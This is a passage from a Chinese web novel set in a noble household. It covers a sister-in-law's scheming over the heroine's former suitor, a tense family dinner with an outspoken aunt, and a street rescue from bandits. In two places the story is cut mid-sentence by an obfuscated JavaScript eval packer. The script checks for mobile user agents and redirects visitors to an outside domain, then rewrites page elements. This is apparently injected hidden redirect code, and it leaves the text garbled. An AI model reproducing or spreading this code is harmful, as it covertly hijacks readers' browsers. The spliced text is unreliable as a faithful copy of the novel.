江云影一直觉得,这婚事她其实是有过机会的。 如果当初祖母开着玩笑询问时,她没有被新婚守寡的想象唬住,或许祖母真的能够说动范氏,将她娶进侯府去——反正是仓促间找个小门户冲喜,只要祖母和祖父愿意撮合促成,裴家娶谁不是娶呢? 若她那时答应了,如今就是她站在风姿卓然、高官厚禄的裴砚身边,就是她住在这座金装玉裹的侯府,就是她…… 江云影但凡想到这些,就觉心里堵得慌。 她只能勉强堆笑,附和了一句。 裴锦瑶自小就在嫡母檐下学会了察言观色,又在贵女堆里厮混多年,哪能瞧不出她这点异样? 堂姐妹间怎么回事,她清楚得很。 话都已经说到这份儿上了,眼瞧着江云影心绪复杂,裴锦瑶趁机开玩笑道:“都说一家有女百家求,何况是二嫂这样好的人。她在闺中的时候,必定也是许多人想求娶,快要踏破门槛的吧?” 江云影明知有些话不该透露,但此刻心里不知怎么想的,竟自含糊道:“家里原是想给她说亲的,最后嫁到这里,也算姻缘天注定。” “可是跟燕家么?”裴锦瑶追问。 江云影诧然看向她,“四姑娘怎么知道这事?” 裴锦瑶笑而不答。 江家说亲的事情她当然无从窥探。只不过上回裴砚为维护云娆跟老侯爷差点吵起来,范氏灰头土脸的回屋后憋了满肚子气,怒气上涌的时候难免生出歪心,又让人去打听云娆的底细。 那仆妇没打听出内宅的准话,但江伯宣跟燕熙交好、时常登门造访是江家上下都知道的,难免让范氏有所猜测。 只不过那阵子府里忙,加上老五裴见祐的身体出了点小岔子,范氏焦头烂额的忙活了一阵,便将这些都抛之脑后了。 裴锦瑶却心细,又时常出入惠荫堂,逮住一点味道便将事情打听了个七七八八。 此刻又碰上江云影这个大漏勺,轻易试探出底细,心中竟自窃喜。 还想追着套话,江云影却也知道这种事不宜宣扬,又有些后悔方才的轻率,再问就不肯多说了。 裴锦瑶便又随便扯了几句,仍绕回那座水榭。 待江云影告辞回席,裴锦瑶琢磨着方才套出的杂乱消息,竟自浮起笑意。 “果真是他,有意思。” 周遭没了旁人,她坐在水边慢慢喂鱼,口中如是喃喃。 贴身丫鬟猜得其意,低声道:“上回在汲古阁,难道真是在私会?” 这话声音虽低,裴锦瑶却仍比了个噤声的手势。 ——上回去白云岭踏青,那一日不止明氏带着秦氏和云娆去了汲古阁,裴锦瑶其实也去了。只不过她原就不甚与明氏亲近,又是跟别家交好的姐妹同去,便没露面打招呼罢了。 见燕熙在书楼前踟蹰、离开前又频频回头,裴锦瑶瞧见他丰神如玉姿容出挑,难免暗中留意,还曾猜测那复杂神情背后的缘故。 后来见云娆出来,她立时想起了燕熙,虽是漫无凭据的揣测,却还是让小丫鬟去打听了燕熙的身份。 如今再经江云影一泄露,前后可就都对得上了。 裴锦瑶捻着鱼食,静坐出神。 …… 日色未倾时,来道贺的宾客陆续告辞离去。 云娆前两日忙得脚不沾地,今儿婚宴已近尾声,她将母亲和堂妹送出府后就渐渐的闲了下来。寻个抱厦歇了一阵子后又去瞧了一圈,见没什么要她做的,便商量着各自回去歇息。 正准备动身呢,外头忽有仆妇来禀—— “三爷带着夫人回来了,刚去拜见老太爷。老太爷吩咐说晚上一道在如意堂用饭。” 那边崔氏才从整日应酬中缓过劲儿来,正让小丫鬟捶腿呢,听见这话面露诧色,不甚确信地道:“你说是谁回来了?” “就是去西川的三爷。” 那仆妇是在老侯爷书房里伺候的,跟崔氏颇为熟悉,因临走时听了几耳朵,这会儿便道:“奴婢听着,像是来给二姑娘道喜的。” “我是说,三夫人也回来了?”崔氏问这句话时,还特地看了范氏一眼。 范氏平素与她暗里不睦,这会儿倒像是一条心,眼巴巴地望过去,等着回答。 仆妇只好笑禀,“是呢,都回来了。” 话音落处,崔氏和范氏似都隐隐叹了口气。 云娆原本在下首吃茶,瞧着这情形,一时间倒有些好奇。 她倒是听过三叔裴元绍的壮举,原是弱冠之年送去川蜀之地游历长见识的,回京时身边却平白多了个姓周的女人,非要娶她为妻。 因那女子来历不甚明晰,且听说性子有些倔强、不够温顺,裴固夫妻俩便不许以正妻之礼迎娶,只许纳为妾室。老侯爷甚至还放了狠话,说裴元绍若敢娶她为妻,非把他从侯府赶出去不可,从此断了父子之情。 裴元绍却强硬得很,见老两口死活不肯答应,自管携那女子去衙门办了文书,也没在侯府办酒宴席面,只领着新妇来给双亲磕头就算完事。 这般悖逆,险些给裴固气晕过去。 但他到底也没断了父子情,只是死倔着不肯认这儿媳。 这事当时也曾在高门贵户中传为笑谈,都说裴元绍为色所迷无法无天,辜负了侯爷夫妇的教导养育之恩。 裴元绍不愿妻子遭人指摘,扭头就带她去了西川。 后来凭本事博得赏识,渐渐在西川节度使帐下有了一席之地,到如今早已生育了一双儿女,一家四口安然度日。 这十余年来,裴元绍回京的次数屈指可数,不是为办公事就是为祭奠他早已亡故的生母,偶尔携妻子周氏在身侧,也来过侯府几回。只是始终没带孩子来过京城,哪怕裴固暗示也无动于衷。 早年间老侯爷还较劲得很,如今上了年纪,态度倒渐而和软。 这回安排一道用饭,也算稀奇事。 他既发话,儿孙们自须听从。 好在这两日婚宴待客,筹备的东西绰绰有余,仓促间整治一桌家宴也并不难。 仆从们自去筹备晚间小宴,各房主子们则先回院歇息,约定戌时初在如意堂聚齐。 云娆初入侯府,对旧事知之甚少,怕在家宴上不明就里做错事,便趁着歇息跟裴砚稍加打听。 才过小暑,天气一日热似一日。 云娆白日里穿了见客衣裳,虽说宴席间备有冰盆风轮,往来忙碌时到底热出了一层细汗。回屋后赶着去浴房洗了洗,这会儿只穿了件轻薄半袖,露着胳膊坐在窗边吹风。 裴砚也脱了会客的外裳,嫌热扒开里衣领口,将轮廓分明的胸膛半露在外面,盘腿在罗汉床上剥荔枝吃,是难得的家居清闲模样。 甜汁儿不慎滴落,洒在他锁骨下方。 云娆没好意思多去看,只伸手将帕子递给他。 “晚上的宴席自是为迎接三叔和三婶,可我还没见过他们呢。”她有点儿犯馋,也自取了荔枝来吃,“将军应见过的吧?” 她白皙的胳膊撑在桌上,漂亮的双眸微抬,分明藏了好奇。 裴砚比她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781267|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年长九岁,哪能猜不出那点小心思? 一面拿她的绢帕擦着手,一面道:“我平时不在京城,只碰巧见过三婶一次,也是个直率有趣的人。三叔倒是照看过我一阵子,虽然外人说他悖逆,其实性情刚正,很有担当。” “这话倒是。若换了旁人,父母不允成婚,八成就服软纳为妾室了。他能那样做,想来是很爱护三婶。” 云娆与他日渐熟悉,也敢发些感叹了。 裴砚觑着她一笑,“你倒不像他们,拿不孝的帽子去压三叔。” 云娆不自觉也笑了,“既然不知当年的内情,又怎好随意评判呢。不过将军既说三叔可靠,想来他确实是很好的!” 啧,倒学会拐着弯拍马屁了。 嘴还挺甜。 裴砚心绪甚好,还想逗她两句,隔着半敞的窗扇却见赵铁匆匆走了进来。 枕峦春馆虽在侯府的内宅,因地处偏僻,往东是惠荫堂、如意堂等院子,西南角其实有一处通往外头的小门,只是平时很少有人走。赵铁既绕着远路从那边跑过来,想必是有急事,还不方便让人转述的。 近来流民之乱未平,又有贼人混进京城,裴砚前儿在宁王那里就听说了。估摸着是跟这事有关,便自起身道:“今儿晚饭我不去了,祖父若问,你就说是宁王召见,不必等我。” 说着话,起身抓了外裳套在身上,就要抬步出屋。 走了两步,又像想起什么,回头道:“吃饭时说错话也无妨,有我呢,不必顾虑。” 嘴里叮嘱罢,这才疾步与赵铁走了。 云娆原也不爱在侯府乱说话,但有他这么句话兜底,到底也踏实了不少,等时辰差不多了便换衣裳赶往如意堂。 …… 如意堂里这会儿正热闹。 侯府往皇家嫁女的喜气尚未散去,家里连着摆了两日宴席,连带孩子们都比平常活泼了许多。 裴见熠和裴见晔兄弟俩都不过十四五岁的年纪,给太夫人问安过后嫌屋里太闷,这会儿不知从哪里寻了个蹴球,在庭院里踢出百般花样。 五岁的裴文昭跟在旁边,见缝插针地凑热闹。 ——他是薛氏和裴见明的孩子,老太爷放在心坎儿上疼的嫡长重孙,在襁褓里时就被薛氏寄予厚望。 迥异于庶子年少调皮、嫡母们睁只眼闭只眼纵容的养法,裴文昭虽然才五岁,却是早就由薛氏花重金请了先生教导,平素功课甚至比两位小叔叔还多些。 小孩子天性爱玩,平素被管教得严苛,难得这两日不受拘束,玩得十分高兴。 云娆甚少在如意堂感受到这样鲜活松快的气息,见状不由笑了笑。 进屋后规矩行礼,坐在下首。 人都到齐后闲坐了片刻,外面便传来老侯爷同旁人说话的声音。 众人陆续起身,少顷,就见裴固徐徐走进来。 他的身后是裴元曙和裴元晦兄弟俩,再往后的那人容貌跟裴固有三分相似,气度却迥然不同——前面三位这辈子都在京城养尊处优,偏于文臣的儒雅,那位却形貌精干气度昂扬,双目炯炯有神,气势反倒胜于父兄。 这自然是三叔裴元绍了。 紧随而入的是他执意迎娶的周氏。 云娆早先听闻旧事,得知三婶性情“很不温顺”,想着她那般大胆的行径在闺阁之中甚是少见,便以为三婶或许也是习武之人,甚至行事有些刚烈彪悍。 谁知落入眼中的竟是一位美貌温柔的女子。 论年纪她其实已三十五了,看相貌却像是未及三十,长得白皙而秀美,五官尤其精致,一双美眸顾盼生辉,唇边还噙着浅笑。 满屋绮罗金玉,她身上却淡妆素裹,高髻只缀以简单的珠钗,底下碧罗衣裳绣裙如雪,端的是位天生丽质的美妇。 诞育一双儿女后还瞧着这般年轻,足见这些年过得颇为顺心,更不知当初嫁给三叔时究竟是何等姿貌。 云娆心里暗生感叹。 那边老侯爷进屋后扫视了一圈,没见着裴砚,视线便落在云娆脸上,问道:“老二怎么没来?” “他被急着叫走了,想是宁王殿下有事吩咐。不能来迎三叔三婶,很是过意不去。”云娆说着,朝裴元绍夫妇投去歉然眼神。 裴元绍倒是爽快,“他这回北上大捷,将屠长恭那种劲敌都活捉了,着实给我大梁提振士气。既是肩上有事,回头我找他喝酒就是,倒也不拘在哪里相见。” 那语气神态,倒是在叔侄之情外添了几分同为武将的惺惺相惜。 云娆含笑答应着,那边太夫人已起身道:“厅里都备下了,咱们这就过去么?” 裴固颔首,率阖家前往厅中用饭。 一道纱屏意思着隔在中间,仍是往常那样的男女分席。外头都是父子兄弟,在老侯爷态度缓和之后倒也能相谈甚欢。 里头太夫人居于上首,三位儿媳陪坐在两侧,往下则是孙媳和两位待嫁的姑娘。 云娆伺候婆母之余间或用些饭菜,留意着上首几人的言谈,发现她这位三嫂确实有些意思——非但性子直爽,还长了张不饶人的嘴,对晚辈温柔和气,却专捡着两位嫂子怼,甚至对太夫人这位婆母都说不上多恭顺。 27. 告密 已是入夜,新月未升,星河粲然。 临水的厅里灯烛照得通明,仲夏的夜风拂过荷叶清圆的水面,穿过半敞的雕花窗扇将凉爽送到跟前,倒是十分宜人。 太夫人端坐在上首,噙着笑意。 昨日她还亲自去招呼来赴宴的高门贵眷,今日则是十分清闲,坐在抱厦里等着女眷们去拜见她就成。 听了整日的逢迎夸赞,加上孙女儿嫁进王府阖家同喜,她今儿过得确实很高兴,以至于此刻瞧着周氏都觉得顺眼了稍许。 ——要知道,当初裴元绍不顾长辈反对耿着脖子娶了周氏的时候,她光是瞧一眼这个儿媳都能气得厥过去。 只是如今侯爷松了口风安排晚宴,她虽不明原委,少不得要依命行事,不去计较往昔。 她尚且如此,范氏妯娌哪敢违拗? 含笑奉承太夫人之余,难免装出一副妯娌和睦的架势,关怀周氏进京途中是否顺利、两位小侄子可还顺遂等话。 周氏小字嘉仪,早年裴元绍遭侯爷厌弃、她丝毫不得长辈欢心的时候,不是没领教过两位嫂嫂的冷嘲热讽,多难听的话都有。今日夫妻俩原打算道贺完就走,忽然被老侯爷安排了这顿小宴,便也过来露个面,不过是走个过场罢了。 听着这些假惺惺的关怀,周氏可没耐心虚与委蛇,应答之间难免有敷衍之态,就差让崔氏她们别装腔作势了。 崔氏见状,就有些不高兴。 毕竟在她看来,周氏当初嫁给裴元绍既无父母之命,也无媒妁之言,还把府里闹得鸡飞狗跳,实在是登不得台面。 而今她这做长嫂的不计前嫌主动示好,当着众位晚辈的面儿,周氏却如此敷衍,未免不知礼数。 心里头存了气,提起今儿裴玉琳的婚事,范氏便自笑道:“话说回来,你们难得回京一趟,也该给家里递个信儿的。且不说侯爷和母亲惦记,若我早些知道,也能安排人去迎接,倒还能赶上这两日的热闹。” 这话倒像是怪罪了。 周氏闻言一笑,“我也不知道府里昨儿嫁闺女啊。还是进京后听人提起,才赶着过来道个贺。说起来,大嫂连个喜帖都没送,是嫌路远么?” 这话问得太直白,崔氏一时间无言以对。 旁边范氏见状,只觉这位三弟妹说话横冲直撞的,着实没个分寸,果真穷乡僻壤待久了,待人接物没半点长进。 她一面窃喜于崔氏吃瘪,一面暗嘲道:“几年没见,三弟妹倒是分毫没变。” “那我倒不知二嫂是夸我容颜不改呢,还是笑话我没长进。”周氏瞥向范氏时连笑意都懒得给,只是道:“二嫂倒是富态了不少,想来几位儿媳承欢膝下,日子滋润得很。听说老二媳妇是二嫂寻摸的——” 她说话间瞥了眼安静的云娆,难得的开口夸赞,“老二受了那么多苦,能娶到这么个美貌称心的媳妇,也算二嫂做了件好事。” 这话旁人未必留意,范氏听着却刺耳得很。 ——这是讽刺她苛待裴砚呢! 顿时忍不下去,就拐着弯子回敬起来。 周氏当初既与夫君远走他乡,原也没打算融入侯府的后宅,如今自有家业,更无需受妯娌的闲气,当然是半点都不惯着。 见范氏试图拿二嫂的身份压她,还故意往范氏心坎儿上戳,“老二这样成器,也不知是随了谁。潘姨娘在田庄熬了这些年,总算能放心些了。二嫂在府里有媳妇们伺候,回头再抱个孙子,当真是享清福的人。” 这话说出来,非但云娆,就连一贯置身事外的秦氏都有些诧异地抬眉。 范氏的脸色愈发难看,不由看向太夫人。 太夫人听不得“潘姨娘”三个字,也自面色微沉,“好好的,提她做什么。” “怎么不能提?”周氏讽笑,径直迎上太夫人不悦的视线,“她诞下老二为府里添丁,又没做错过什么,怎么就不能提了?” 那架势,倒像是在为潘姨娘抱不平。 云娆进府这么久,头一回听到有人为裴砚的生母说话,不由得竖起耳朵。 那边太夫人却已斥道:“怎么跟婆母说话……” 话音未落,屏风后便转出来一位仆妇,笑吟吟地行礼道:“侯爷说府里难得聚齐,今儿的酒是窖里珍藏的,请三夫人多尝尝。”说着话,亲自给周氏斟了杯酒。 太夫人见状,硬生生将剩下的话咽了回去。 崔氏和范氏亦面面相觑。 老侯爷在府里的地位最是尊崇,原不必记挂这些小事,特地遣人过来,无非是提醒罢了。且今日小宴是老侯爷主动留下裴元绍夫妇安排的,如今闹成这样,老侯爷却让人给周氏劝酒,这态度未免有些微妙。 桌上一时安静,还是周氏打破了尴尬。 “陈年旧事,不与你们相干,你们自管乐吧。”她将杯中酒一饮而尽,觑向下首的晚辈时,神情语气皆是坦然,“京城的酒菜自是出色,不过天下之大,四海之内风味各异。回头若你们有缘去西川,也可尝尝那里的佳肴,别有滋味的。” 说话间,视线有意无意的在云娆身上稍稍驻留。 云娆不自觉勾唇一笑。 侯府里长辈们的过往她确实知之甚少,也不曾见过潘姨娘的面,但范氏是何做派、裴砚是何品性,她都是看在眼里的。 尤其范氏以正室婆母的身份去构陷绿溪这个小丫鬟,着实让云娆开了眼界。 倒是这位三婶说话耿直爽快,不像另两位藏着掖着,那双眼睛顾盼生辉,藏着甚少能在侯府看见的坦荡。 云娆还挺喜欢的。 …… 宴席的后半段乏善可陈。 崔氏和范氏惯于一边拐弯抹角的骂人,一边假装和气维持体面,在单刀直入的周氏手里讨不到半点便宜,便都不爱说话起来。 倒是裴雪琼对西川存有好奇之心,也不管母亲心有不豫,屡屡询问些风物人情等事。 云娆原不敢掺和长辈们的纠葛,不过有裴砚给的些许底气,加上久闻川蜀之地雕版的大名,便也和明氏一道浅浅讨教了几句。 剩下秦氏不爱掺和纷争,一贯的寡言少语。薛氏、孙氏和裴锦瑶碍着长辈的面子不太跟三婶搭话,只逗着太夫人她们说笑儿。 待气氛缓和,众人随意用些饭菜便散了宴席。 裴元绍这回进京是奉西川节度使之命,原就没打算留宿侯府,虽有老侯爷稍稍挽留,却还是辞别长辈携着妻子出府走了。 云娆则照旧回枕峦春馆去歇息。 隔日晚间裴砚回来,身上风尘仆仆的也不知是做什么去了。 云娆不好多问朝廷的公事,便帮他脱去沾了尘土和隐隐血迹的外裳,又去寻换洗的衣裳和今晚要穿的寝衣。 裴砚站在桌边啜茶,随口问道:“前儿晚上怎么样?” “我瞧三婶长得可真是好看!”云娆对周嘉仪的美貌印象深刻,没提那些妯娌口角的烦心琐事,只是道:“她说话直率,瞧着是个有趣的人。” “这倒巧了,他们也夸你。” 云娆发髻松挽,才取了衣裳抱在怀里往他跟前走,闻言诧然抬头道:“他们夸我?你们已见过面了?” “晌午一道喝了顿酒。三叔说你长得好,性子也好,三婶很喜欢你。”裴砚挑了寝衣往盥洗房走,不望回头笑睨她一眼,“他们挺有眼光。” 说罢,掀帘进里头去沐浴。 云娆望着他背影,竟自失笑。 刚嫁给裴砚的时候,她瞧着这男人在长辈跟前的刚硬冷淡,想着他征战沙场血海横行的冷厉手腕,难免存有稍许敬畏之心。如今相处久了,才发现他并不总是刚毅冷硬,夫妻私下里说话时,偶尔还会玩笑两句。 她将脏衣裳交给青霭去洗,又将明儿裴砚要穿的衣裳提前放在他卧榻旁的箱柜上,帮着打理床铺时心里又有点迟疑。 那晚三婶驳斥太夫人的姿态令她印象极深。 云娆其实很好奇潘姨娘的事。 但那终归是侯府的隐秘,裴砚也从未提过要带她去见见亲生母亲,既是夫妻分房安寝前路未卜,贸然询问未必妥当。 云娆回至屋中,听着里头男人盥洗时的轻微水声,迟疑片刻后终是打消心思,出屋去小厨房看先前吩咐的夜宵。 …… 花木相隔的知乐院,裴锦瑶此刻却是辗转反侧。 婚宴那日江云影说漏嘴,将先前的暗中猜测串成线,挖出燕熙这么个大把柄,着实让裴锦瑶喜出望外。 不过这消息怎么用却是要斟酌的。 待字闺中的侯府千金,着实不宜在议亲的紧要关头卷入跟兄嫂的争执,少不得要找个合适的人去戳穿云娆。 而这个人…… 裴锦瑶最先想到的就是嫡母范氏。 一则范氏对云娆不满,这是裴锦瑶真切看在眼里的,这事儿捅出去,范氏必定会拿来做些文章,好拿捏那位不知天高地厚的儿媳。 再则薛氏等人未必能予她好处,范氏却实打实捏着她的婚嫁之事,若能以此讨得嫡母欢心,谈婚论嫁多少能顺遂一些。 裴锦瑶盘算着这些,蠢蠢欲动之下难免有些睡不着。 待琢磨定了,连前因后果和言辞都斟酌好,翌日晌午,趁着范氏午歇醒来后屋里空着没人、孙氏还没赶来伺候的间隙,裴锦瑶便将那日跟江云影的事情禀了上去。 她自然不会说暗中窥探惠荫堂的事,只将事情都推在江云影身上,再将先前白云岭的见闻细细说明。 范氏原本靠在软枕上,听着这些话,不自觉就坐直了身子。 燕熙跟江家过从甚密的事情,她先前确实打听到了,只是后来琐事缠身没顾上罢了。 如今裴锦瑶重新提起,她心中竟无端升起喜意,问道:“那江家二姑娘果真是这么说的?” 裴锦瑶自是颔首,“这还能有假?她当时在府里玩得高兴,嘴上没了把门的才泄露了这消息。” “白云岭那回女儿看得真真切切,当时那座书楼里就只二嫂在,燕公子那样徘徊犹豫,还能是为什么?女儿怕二嫂不知避嫌,给咱们侯府招来非议,才让人去查问身份的。只是无凭无据,我一个姑娘家也不好空口说二嫂的不是,才拖到如今罢了。” 她说着话垂下头,很是无奈的模样。 范氏未料睡个午觉起来还能得到这样的消息,当即抚着她后背道:“这是你有涵养。我从前倒不知她还藏了这么些事,倒是不得不防。事儿我知道了,你且回去吧,我自有道理。” 说着,在她肩上轻轻拍了拍,目露赞许。 裴锦瑶松了口气,便起身告退出去。 范氏望着她轻快的步伐,眼底的蔑笑一闪而过。 周妈妈掀帘进来,正好瞧见这笑,心里大约有了数,一面伺候范氏起身,一面道:“三姑娘是怎么了,瞧着还挺高兴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790068|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她也算肯花心思的,可惜托生错了肚子。不过这回也算是瞌睡了有人给递枕头,她倒给我送了个不错的消息。” “看来是戳中夫人心坎儿了?” 范氏笑着,将裴锦瑶方才的话简要说给她听。 周妈妈是她的心腹,听完后立马明白过来,“这是讨好夫人,想为自己挣个好前程呢。只不知消息是真是假,别最后没伤到那位,反而给夫人惹一身骚。” “说的是呢。”范氏不自觉叹了口气。 这些年她压着裴砚,恨不得将这碍眼的庶子彻底赶出侯府,如今这情形,倒巴不得枕峦春馆那小两口闹起来,彼此生出嫌隙。 换在从前,范氏定会亲自去凑热闹。 可自打上回因绿溪的事吃瘪,范氏虽说还勉强能维持二夫人的体面,实则在老侯爷和太夫人跟前丢了不少脸,就连裴元曙都存了怨怒。 如今若贸然行事,万一出了岔子,怕真是要偷鸡不成蚀把米。 可这样难得的把柄,范氏岂能坐视不理? 她坐在榻上,任由周妈妈按揉双鬓,半晌才道:“老大媳妇近来还是跟斗眼鸡似的爱挤兑她,那股气还没消呢吧。” “可不么。大少夫人一向瞧不上她的身份,偏巧上次宫宴丢了份,可不得设法找回场子。” “那倒正好儿。把这消息送给她,做事谨慎些,别叫人瞧出端倪来。”范氏吩咐。 冲喜进来的小官之女没有根基,之所以能在宫里露脸、在侯府硬气,都是因为有裴砚撑腰。可若裴砚得知护在身后的妻子心有所属,还跟旧人藕断丝连,凭他的冷傲脾气,哪会容忍?更不会如从前般强硬撑腰了。 薛氏那样聪明的人,定会乐见其成。 惠荫堂只管坐山观虎斗就是。 范氏这样想着,脸上的褶子都舒展了些。 周妈妈心领神会,当即应了。 …… 惠荫堂的人遮遮掩掩的传着消息,枕峦春馆里,云娆却是半点心思都不想浪费在婆母身上。 婚宴的热闹迅速散去,日子仍回归平常。 云娆照旧晨昏定省,在孙氏贴心做派的反衬下当着不太懂事爷不得婆母欢心的儿媳。平素除了跟明氏、秦氏和裴雪琼等人玩笑闲坐之外,剩下的功夫一半用来看年中时铺子送来的账本,一半拿来雕刻版画。 这日午后雕得脖子泛酸,正在窗边歇着喝茶呢,就见常妈妈急匆匆走了进来,喜形于色。 云娆眸色微紧,忙道:“来信儿了吗?” “刚递过来的口信儿,少夫人刚刚生啦,是个大胖小子!足月产出来的,哭声都格外响亮。”常妈妈笑吟吟说着,引得绿溪和青霭她们也都喜滋滋的凑过来听好消息。 云娆这些天总记挂着苏春柔待产的事,好容易盼来这消息,忙道:“嫂嫂呢,她还好吗?” “母子俩都好着呢!” “阿弥陀佛!”屋里主仆几个齐齐念佛,云娆按捺不住喜悦,当即道:“我得回家去瞧瞧,绿溪跟我去惠荫堂。青霭把先前备好的东西取出来,待会跟我一道回家。” 说话间,提起裙角飞快出了院子。 到那边禀明情由,范氏倒是堆了点笑意出来,“那可真是喜事儿,是该贺喜的。” 她自打上回随手构陷绿溪不成,反被裴砚刺得在众人跟前颜面扫地,行事便收敛了许多。且那日老侯爷留裴元绍夫妇用饭,她当时虽觉诧异,过后却也回过味来——老侯爷回心转意,并非惦念父子之情,而是如今朝廷忙于调兵遣将,有意笼络能征善战的孩子罢了。 这般情形,范氏明面上哪好再去惹裴砚? 就连对云娆的态度都和气了些,听云娆说天色将晚,想在娘家住一晚时也没拒绝,还让周妈妈随了些礼带过去。 云娆得了允准,欣然出府。 因薛氏在顺利操持过裴玉琳的婚礼后气焰更盛,对她又有意针对打压,云娆懒得多去费唇舌,瞧着自家报信的马车就在府外,趁便坐了。 到得娘家,果真一团喜气。 她先去看望苏春柔,见她产后歇了半天气色有所好转,放心之余自是叮嘱她务必好生调养身体。 旁边的陪嫁大丫鬟听了,便自笑道:“姑娘只管放心。少夫人怀孕时候调理得好,生的时候也松快些,产婆说没见过这么顺利的。瞧这样子,再歇一歇怕是都能下地了。” “话虽这样说,还是得谨慎些,这时候身子虚弱,可不能落下毛病。”云娆听说过生孩子的艰难,瞧见素来康健的嫂嫂产后虚弱的模样,哪有不心疼的? 苏春柔虽仍疲累,却也笑了笑,“放心,母亲都叮嘱过的。你快去瞧瞧孩子。” 云娆应着,又去看大侄子。 刚出生的孩子有点皱巴,不像她从前见过的襁褓中的婴儿那样白嫩嫩的好看。但那样一个小而柔软的孩子放在面前,尤其这孩子还是与她血脉相连的侄儿,自是叫人心生喜爱。 云娆小心翼翼地戳了戳他脚丫,笑得眉眼弯弯。 是夜宿在西竹馆,翌日前晌仍陪着嫂嫂,直待用过晌午饭才动身回侯府。 难得出府一趟,云娆瞧天色尚早,便打算绕道去一趟富春堂。谁知行经一处巷子,原本平缓行驶的马车像是忽然被什么拦住,赶车的张叔“吁”的一声勒住缰绳,令车身骤然停住。 云娆心里咯噔一声,直觉事情不太妙。 28. 吃醋 拦住马车的是两个贼人。 他们身上都是寻常百姓的打扮,这会儿像是被追到穷途末路,为首那人跳上马车,就想伸手来掀车帘。 张叔大惊,怒喝道:“你做什么!” 说话间忙用身体去挡。 那人却凶狠得很,抬脚将他踹到地上,掀帘见里头坐着位衣饰贵重的小美人,还有两个打扮光鲜的丫鬟随行,当即向同伙喊道:“是个有身份的,能给咱们打掩护,快进来。” 口中如是交代,手上也没闲着,两只手臂铁钳般扣住绿溪和青霭,想把她们拽出马车。 绿溪和青霭哪生怕贼人伤及云娆,死命护在身前不肯让开。 那同伙也已仓皇赶到跟前,掏出匕首向张叔厉声道:“老实送我们出城,不许张扬,不然我宰了她们!” 话音未落,忽觉身侧人影一晃,似有什么东西袭向耳侧。 他下意识抬臂格挡,腰间却被来人重重踢中,当即“砰”的一声撞在车辕上。下一瞬,燕熙的身影已扑到马车跟前,捞住车内那贼人的后项肥肉,用力将他拖了出去。 被踢中的那贼人反应过来,趁机袭向他后背,燕熙急着救人没法儿回护,虽及时躲闪回攻,肩膀却还是被匕首割破,顿时有鲜血沁出衣衫。 他一声未吭,闪身挡在马车前面。 那俩贼人原是想劫持云娆的马车以便逃过围补,眼瞧着燕熙半路杀出来,且身手迅捷出手如电,情知缠斗下去有害无益,只好往前逃命。 燕熙却哪肯轻易放过? 恶贼分明是急于脱逃的亡命之徒,方才挟持云娆未成,若任由他们逃窜出去,指不定又会伤到谁家的妇孺。 他顾不上伤口,径直追过去,等贼人离云娆远了些,三两步抢到前面拦住去路。 那两人急红了眼,挥着匕首就要拼命。 三人顿时纠斗在一处。 燕熙幼时常在军营里厮混,虽说赤手空拳,却也不惧那两把利刃,且攻且防,竭力拖住他们的脚步。 果然,没过片刻就有兵士疾追过来。 两侧围堵,贼人被很快拿下。 燕熙这才松了口气,拿了缴获的匕首防身,又折身回到云娆马车跟前。 他原就在救云娆时受了伤,赤手空拳与那两人搏斗时又被划伤了几处,身上斑斑驳驳的颇多血迹。 云娆瞧在眼里,惊得声音都有点发颤,“伤得如何?得快些包扎才是!” “皮肉伤,无妨。我身上有药,待会洒些就行。”燕熙笑了笑,“你这是要去哪里?” “我原想去富春堂的,没成想竟遇到歹人,真是要多谢你出手相助了!”云娆瞧着他身上殷红的血,仍觉触目惊心。又不好去碰人家的衣裳,只回头催促青霭和绿溪扯些布条来用。 燕熙则摸出个药瓶,往够得到的伤处洒了些,不便敷药的地方则是张叔帮忙。 因燕熙常与江家往来,张叔认得他,怕燕熙伤口处太痛,帮忙包扎时还不望攀谈着转移他注意,“这回真是多亏了燕公子!听闻公子选在了翰林院,今儿怎么有空出来?可巧又在这里遇见。” 燕熙闻言,下意识垂眸。 …… 燕熙今日露面救人,其实不是凑巧。 春闱过后,燕熙凭着满身才学荣登进士,家里其实想让他回川蜀做个清闲富贵的官儿。只是燕熙割舍不下云娆,且如今流民作乱朝中局势日益紧张,他有意寻个机会去战场历练身手,便先在翰林院盘桓,等待合适的机会。 今日原是要去书坊,途中认出张叔后不免暗里留意—— 近来京城里的气象虽繁盛如旧,但流民闹得越来越厉害,听说前阵子还有贼人闯进京城闹事,让不少人都受了惊。今日街上瞧着虽热闹,凭着燕熙在节度使帐下养出的警觉,其实嗅出了稍许异样。 而张叔是江家长房用的车夫,不管里头坐的是徐氏还是苏氏,碰见歹人时必定无力应对。 燕熙原就与江伯宣交好,更不愿云娆的家人出事,碰见了不免暗中跟着权当护送。 谁知真就碰见了麻烦。 此刻被张叔一问,燕熙却只含糊道:“本想去那边书坊,凑巧路过这里。恐怕街面上还藏着贼人,我送姑……少夫人回府吧?” 他说着话,觑向云娆。 云娆对方才的遭遇有些后怕,又担心侯府人多眼杂平白连累了燕熙,正犹豫间,忽听不远处又传来动静。 燕熙下意识护在她身前,云娆循着声音望过去,就见那边又有四人飞檐走壁地疾奔过来,也像是被人追逐着仓皇逃窜。 而在他们身后,则有利箭破空。 有两人被射中背心后重重扑在地上,最前面那人扫见云娆和绿溪等人,就想扑过来挟为人质。 燕熙当即挡在前面。 